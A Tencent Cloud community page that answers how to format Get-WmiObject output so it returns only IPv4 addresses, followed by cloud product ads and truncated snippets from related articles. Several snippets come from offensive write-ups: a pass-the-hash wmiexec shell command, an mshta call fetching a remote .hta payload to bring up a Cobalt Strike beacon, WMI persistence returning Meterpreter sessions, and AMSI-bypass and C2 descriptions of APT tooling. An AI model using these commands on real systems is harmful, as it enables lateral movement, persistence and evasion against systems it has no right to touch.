PowerShell:格式化Get-WmiObject输出以仅返回IP地址

以下是关于PowerShell中格式化Get-WmiObject输出以仅返回IP地址的完善且全面的答案：

PowerShell是一种基于任务的命令行shell和脚本语言，它在Windows系统中广泛应用于自动化任务和管理。Get-WmiObject是PowerShell中的一个命令，用于获取Windows Management Instrumentation（WMI）对象的信息。

在PowerShell中，可以使用Select-Object命令来格式化输出，以仅返回IP地址。以下是一个示例命令：

Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter "IPEnabled=TRUE" | Select-Object -ExpandProperty IPAddress | Where-Object { $_ -notlike '*:*' }

这个命令的解释如下：

Get-WmiObject命令用于获取Win32_NetworkAdapterConfiguration类的WMI对象，该类表示网络适配器配置。
-Filter参数用于指定筛选器，以仅获取IPEnabled属性为TRUE的对象。
Select-Object命令用于选择要输出的属性，这里使用-ExpandProperty参数来展开IPAddress属性，以仅返回IP地址。
Where-Object命令用于筛选输出，这里使用-notlike参数来过滤掉包含冒号(:)的IPv6地址。

推荐的腾讯云相关产品：

腾讯云服务器：提供弹性、可扩展的云计算服务，可以帮助用户快速部署和管理服务器。
腾讯云负载均衡：提供自动分配流量的负载均衡服务，可以帮助用户实现高可用性和故障转移。
腾讯云CDN：提供全球内容分发网络服务，可以帮助用户加速网站和应用程序的访问速度。

产品介绍链接地址：

腾讯云服务器：https://cloud.tencent.com/product/cvm
腾讯云负载均衡：https://cloud.tencent.com/product/clb
腾讯云CDN：https://cloud.tencent.com/product/cdn

相关·内容

WMI使用学习笔记

3.1 WMI连接首先我们执行如下命令，将输出结果保存在靶机winserver2008对应的C:\Windows\Temp目录下： wmic /node:192.168.135.15 /user:administrator...地址和MAC地址 wmic qfe get description,installedOn #使⽤wmic识别安装到系统中的补丁情况 wmic product get name,version #查看系统中安装的软件以及版本...用不用445端口取决于是否将结果返回，如果写注册表的话，就不需要返回，也就不需要445端口，sharpwmi 这个项⽬不依赖139和445端⼝，但是还需要依赖 135 端⼝。...-hashes LM Hash:NT Hash 域名/用户名@目标IP // 哈希传递获得shell wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP...$Remote=Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.135.15 #将执行结果输出到屏幕上

2.1K3 0

PS常用命令之系统WMI查看和操作相关命令

Q: WMI 管理的常用命令以及工具 wmic.exe - Cmd 命令 Get-CimClass - Powershell 命令 Get-CimInstance - Powershell 命令 Get-WmiObject...# Version : 01 # Caption : 计算机系统产品 # 指定类名与命名空间格式化输出选取前十行 Get-CimInstance -Namespace...只获取键属性而不是所有属性 $x = Get-CimInstance -Class Win32_Process -KeyOnly $x | Invoke-CimMethod -MethodName GetOwner # 仅获取属性的子集...输入完全限定域名（FQDN）、NetBIOS名称或IP地址。...可以使用PowerShell或CMD检索Windows产品密钥。

1.3K1 0

WMI利用(横向移动)

地址和MAC地址 wmic qfe get description,installedOn #使⽤wmic识别安装到系统中的补丁情况 wmic product get name,version #查看系统中安装的软件以及版本.../c ipconfig >c:\ip.txt" wmic上线CS 注意：请注意powershell对于特殊字符的转义，例如“，@，#，$等等。...WScript.Shell").Run("mshta.exe http://192.168.8.179.hta"); ]]> 生成hta文件生成hta文件以powershell... #账号密码整合，导入Credential $Remote #远程运行指定命令或程序 $Remote.PayloadOutput #将执行结果输出到屏幕上...使用CHANGE_USER后执行命令使用shell执行命令文件操作 WinRM 注意：Windows默认WinRM需要设置信任来源地址，在测试前，请设置信任所有来源地址，也就是允许被任意主机连接

2.8K1 0

技术分享-持久性-WMI事件订阅

每次重启后，可执行文件将在 60 秒内返回 Meterpreter 会话。.../WMI-Persistence “ Get-WMIObject ” cmdlet 将确保已创建事件过滤器，因为脚本不提供任何控制台输出。...PoshC2 PoshC2是一个基于 PowerShell 的命令和控制框架，但支持 C# 植入和模块，以在红队参与期间规避 EDR 产品。...事件，并自动将修改的 WMI 对象的结果返回到控制台屏幕上以供验证。...默认情况下，此选项会将两个连接返回到命令和控制服务器。 “ wmi_updater ” 模块能够从远程位置获取有效负载，而不是将其存储在 WMI 存储库中。

2.5K1 0

恢复主网卡默认路由设置

以下代码仅限一块网卡的机器，多块网卡的代码需要调整以管理员身份powershell执行这几句命令$gw=(Get-WmiObject win32_networkadapterconfiguration...-filter "ipenabled = 'true'").defaultipgateway#$idx=(Get-WmiObject win32_networkadapterconfiguration...] -replace ' ', ';') -replace ';;;', '').split(";")[-1].trim(" ") 如果主网卡名称前面有空格，这空格也是网卡name的一部分，这句代码输出的结果会自动剔除网卡名称左边的空格...5CComputers.ps1https://gist.github.com/milesgratz/0285a6c3e9dd2bcfbbc72b441fcb6410https://www.bookstack.cn/read/powershell-networking-guide.../manuscript-renaming-the-network-adapter.mdhttps://mac-blog.org.ua/powershell-get-ip-adresses-by-connection-namehttps

2.1K2 0

“污水”（MuddyWater）APT组织C2工具MuddyC3浅析

会要求你输入IP与端口与代理(可选)，输入完之后，将会打印出payload与帮助列表 ? 然后其实现方式很简单，就是接受参数，然后替换主程序中已有位置上的关键位置，并打印给用户。 ?...因为一开始都是在请求 http://192.168.2.114:4444/get 该地址，这也是powershell的经典操作。...$os = (Get-WmiObject -class Win32_OperatingSystem).Caption + "($arch)";$domain = (Get-WmiObject Win32...来循环接收地址的内容。...服务端进行解码，输出。 ? 而模块加载功能是注册在re下面的 ? 用来读取Modules/下面的文件客户端代码如下： ? 然后获取参数执行： ? 至此C2的基本功能的方法我们就可以大体了解了。

1K2 0

WMI讲解(是什么，做什么，为什么)

WMI提供者将数据返回给WMI服务，WMI服务再将结果返回给请求的应用。...查询BIOS信息 Get-WmiObject -Class Win32_BIOS Powershell查询计算机信息 Get-WmiObject -Class Win32_Operatingsystem...Powershell查询 Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct #注意：在旧版中查询杀软的WMI...命名空间为SecurityCenter 注意：这里Powershell操作WMI的对象使用的是内置模块Get-WmiObject，以及查询的类为Win32_Service类，Win32_Service...地址和MAC地址 wmic nicconfig get ipaddress,macaddress #⽤户列表 wmic useraccount list brief #查看当前系统是否有屏保保护，延迟是多少

1.2K1 0

WMI 攻击手法研究 – 探索命名空间、类和方法 (第二部分)

-Namespace root -Class __Namespace 输出的内容包含了许多信息，为了过滤掉 “无用” 信息，可使用 PowerShell 中的 select： Get-WmiObject...查询类以从中获取更多东西。...2.2 获取类我们对 Win32_UserAccount 类感兴趣，通过如下命令可简单获取数据： Get-WmiObject -Class Win32_UserAccount 要获得更详细的输出，可以将上述命令通过管道传输到...Powershell 的 Format-List 或 fl 中，例如：Get-WmiObject -Class Win32_UserAccount | fl * CIM cmdlet Get-CimInstance...要列出所有可用参数，我们可以结合使用 Powershell，或者更好地阅读 https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management

1.5K2 1

WMI 攻击手法研究 – 识别和枚举 (第四部分)

对于此示例来说，将过滤掉垃圾以仅打印所需的必要信息。...请注意 Powershell 实用程序的 select 使用，与没有它相比，它显着扩展了输出。...严重性由输出中的 Type 属性指示。...，使用 select 仅过滤了所需的有用信息。...Get-WmiObject -Class win32_ip4routetable 在谈论网络内容时，我想提到另一个名为 Win32_NetworkAdapter 的有用类。

5853 0

PowerShell 学习笔记（3）

（即筛选在排序左边）不区分大小写 get-process | where {$_.handles –ge 1000} 使用where获取所有对象，用对象执行大括号里的代码，如果结果为rue，则返回该对象...，如果结尾为false，则丢弃该对象 get-process *ss | where {$true} 大括号里的代码运算值永远为真，所以该命令可以返回所有以ss结尾的进程 Powershell3.0 ：...Name) 「Powershell 2.0] Get-WmiObject –class win32_bios –ComputerName (Get-ADComputer –filteer * ).name...[Powershell3.0] get-CimInstance 支持管道输入，代替Get-WmiObject Get-ADComputer -Filter * | Get-WmiObject -class...win32_bios -ComputerName {$_.Name} 「Powershell2.0报错，3.0没测试」

8541 0

使用 Power Shell 修改 Hyper-V 虚拟机 UUID 的解决方案

分享记录一二问题描述与尝试解决根据官方文档使用 kubeadm 创建 k8s 集群的准备，所以准备在之前文章中使用 Hyper-V 安装的 CentOS8.5 的虚拟机搭建需要确保每个节点上 MAC 地址和...product_uuid 的唯一性可以使用命令 ip link 或 ifconfig -a 来获取网络接口的 MAC 地址可以使用 sudo cat /sys/class/dmi/id/product_uuid...命令对 product_uuid 校验检查 mac 地址，因为之前就修改过IP，在Hyper-V管理器中就可以看到是不一样接着检查 product_uuid,使用了之前安装的jumpserver...文件执行 #这里假设虚拟机的VMname是devops01，自行替换即可 $VMname="devops04" $vmx = Get-WmiObject -Namespace root\virtualization...参考文档 PowerShell Script: Change the BIOS GUID of a Hyper-V Virtual Machine PowerShell修改Hyper-V虚拟机的UUID

4621 0

Turla PowerShell攻击手法学习

Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Syslog Consumer'"...-enc $HL39fjh"; RunInteractively = 'false' }; Get-WmiObject __eventFilter -namespace root\subscription...在样本中，Turla 修改的 PowerShell 配置文件： try { $SystemProc = (Get-WmiObject 'Win32_Process' | ?...PowerShell 脚本加载 .NET 可执行文件以检索AmsiScanBuffer的地址。然后，它调用VirtualProtect以允许在检索到的地址进行写入。...最后，修补直接在 PowerShell 脚本中完成。它将AmsiScanBuffer的开头修改为始终返回 1 ( AMSI_RESULT_NOT_DETECTED )。

7754 0

制作Windows自定义镜像实现新购机器自动设置静态DNS和hostname自动生效无需人为重启机器

> #以管理员身份运行 Set-ExecutionPolicy -Scope CurrentUser Unrestricted -forc if(-NOT ([Security.Principal.WindowsPrincipal...> 2、自动设置静态dns 如果能用userdata，在userdata里用powershell代码就可以改 #以管理员身份运行 Set-ExecutionPolicy -...-Verb runAs -ArgumentList $arguments Break } $wmi = Get-WmiObject Win32_NetworkAdapterConfiguration...-eq 2){ (get-wmiobject -class win32_networkadapterconfiguration -filter ipenabled=true).SetDNSServerSearchOrder...NT6NT10.ps1 -O c:\NT6NT10.ps1 步骤二编辑c:\NT6NT10.ps1 搜索$portvalue = 36970 把其改为$portvalue = 3389 另外，机器内网ip

7943 0

Windows PowerShell 实战指南-动手实验-3.8

这两个命令以分号 (;) 来分隔。 3.哪一个CMdlet命令可以重定向输出到一个文件（file）或者到打印机（printer）？...Get-WmiObject 的“帮助”主题。...如果“list”是另一个 cmdlet 的别名，则此命令将更改其关联，以便让其仅作为 Get-Location 的别名此命令使用与上一示例中的命令相同的格式，但其省略了可选参数名 -Name 和...在省略参数名时，这些参数的值必须以指定的顺序出现在命令中。在此示例中，-Name 的值（“list”）必须为第一个参数，-Value 的值（“get-location”）必须为第二个参数。...如果同时使用了 Append 和 NoClobber，则输出将追加到现有文件。 13.查看Powershell中预先设定所有别名（aliase）？

2.1K2 0

Windows PowerShell 实战指南-动手实验-9.8

键入远程计算机的 NetBIOS 名称、Internet 协议 (IP) 地址或完全限定的域名。此参数不依赖于 Windows PowerShell 远程处理。...键入远程计算机的 NetBIOS 名称、Internet 协议 (IP) 地址或完全限定的域名。此参数不依赖于 Windows PowerShell 远程处理。...Get-ADComputer -Filter * | Select-Object @{l='ComputerName';e={$_.name}} | Get-WmiObject -Class Win32..._BIOS 解答: 不能正常执行，因为Get-WmiObject 命令不支持管道输入。...具体信息如下： help Get-WmiObject -full可以查看到以下信息：输入 None 不能通过管道将输入传递给 Get-WmiObject。

7171 0

Meerkat：一款针对Windows终端的信息收集与网络侦查PowerShell工具

； 6、标准化输出默认格式为.csv，可以轻松支持JSON和XML等数据格式；工具要求 1、要求扫描设备上支持PowerShell 5.0+； 2、要求目标设备上支持PowerShell 3.0+，如果使用...「Get-WMIObject」替换「Get-CIMinstance」实例，则可以最多向下兼容到PowerShell 2.0； 3、要求WinRM访问；工具安装通过Git安装广大研究人员可以直接使用下列命令将该项目源码克隆至本地...工具运行下列命令即可将输出结果存储至「C:\Users\YourName\Meerkat\」： Invoke-Meerkat 需要注意的是，如果工具脚本未使用管理员权限运行，则下列模块将不会返回任何结果...输出文件许可证协议本项目的开发与发布遵循GPL-3.0开源许可证协议。...项目地址 Meerkat： https://github.com/TonyPhipps/Meerkat https://github.com/TonyPhipps/Powershell/blob/master

1551 0

python通过ssh-powershell监控windows

但是现在 windows上如果安装了powershell（win7，2008自带），就比以前方便多了，linux上的命令基本都能在powershell里执行，比如查看进程还是ps....通过创建ssh_win32类对象，然后调用它的方法，返回的都是解析好的python对象。 ssh_powershell.py #!...systemroot='c',papath='',timeout=5,verbose=0): self.user = user#监控机器的username self.host = host#监控机器的ip...+"Get-WmiObject win32_logicaldisk" res=self.ssh(cmd) disk={} if res: res=res.split...+'Get-WmiObject win32_OperatingSystem TotalVisibleMemorySize' freemem=self.powershell_path+'Get-WmiObject

8291 0

python通过ssh-powershell监控windows

5152 0

TAT执行远程操作时指定用户名的话一定要在用户名之前加.

公共镜像买台windows机器，执行以下powershell命令以支持WinRMreg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WinRM" /...&1 > $nullnetstat -ato|findstr :5985然后关机做自定义镜像 → 假如基于此镜像买4台机器，在其中1台机器的TAT上执行以下代码可以重启其他3台机（具体化代码中的密码、IP...\administrator" /password:"密码" process call create "powershell.exe -command (Get-WmiObject Win32_ComputerSystem...\administrator" /password:"密码" process call create "powershell.exe -command (Get-WmiObject Win32_ComputerSystem...\administrator" /password:"密码" process call create "powershell.exe -command (Get-WmiObject Win32_ComputerSystem

8903 0

WMI持久性后门(powershell）(水文)

需要在系统上以管理员身份运行才能创建事件实例。 1.WMI事件 WMI事件一共有3个部分组成： 1.1.Filter WMI 筛选器组件允许我们使用 Windows 管理规范 (WMI) 规则。...1.2.1.ActiveScriptEventConsumer 当事件传递给它时，以任意脚本语言执行预定义的脚本。此可在 Windows 2000 及更高版本上使用。...-Namespace root/subscription -Class __FilterToConsumerBinding } 把这个payload的地址修改为我们的就行然后开始插入事件,一旦正常插入成功后...# powershell -exec bypass PS > Import-Module ....命令的命令行，然后加载存储在 Windows 注册表中的大型 PowerShell 脚本。

1.2K1 0

点击加载更多

扫码

添加站长进交流群

领取专属 10元无门槛券

手把手带您无忧上云

PowerShell:格式化Get-WmiObject输出以仅返回IP地址

相关·内容

WMI使用学习笔记

PS常用命令之系统WMI查看和操作相关命令

WMI利用(横向移动)

技术分享-持久性-WMI事件订阅

恢复主网卡默认路由设置

“污水”（MuddyWater）APT组织C2工具MuddyC3浅析

WMI讲解(是什么，做什么，为什么)

WMI 攻击手法研究 – 探索命名空间、类和方法 (第二部分)

WMI 攻击手法研究 – 识别和枚举 (第四部分)

PowerShell 学习笔记（3）

使用 Power Shell 修改 Hyper-V 虚拟机 UUID 的解决方案

Turla PowerShell攻击手法学习

制作Windows自定义镜像实现新购机器自动设置静态DNS和hostname自动生效无需人为重启机器

Windows PowerShell 实战指南-动手实验-3.8

Windows PowerShell 实战指南-动手实验-9.8

Meerkat：一款针对Windows终端的信息收集与网络侦查PowerShell工具

python通过ssh-powershell监控windows

python通过ssh-powershell监控windows

TAT执行远程操作时指定用户名的话一定要在用户名之前加.

WMI持久性后门(powershell）(水文)

扫码

相关资讯

热门标签

活动推荐

运营活动

社区

活动

资源

关于

腾讯云开发者

热门产品

热门推荐

更多推荐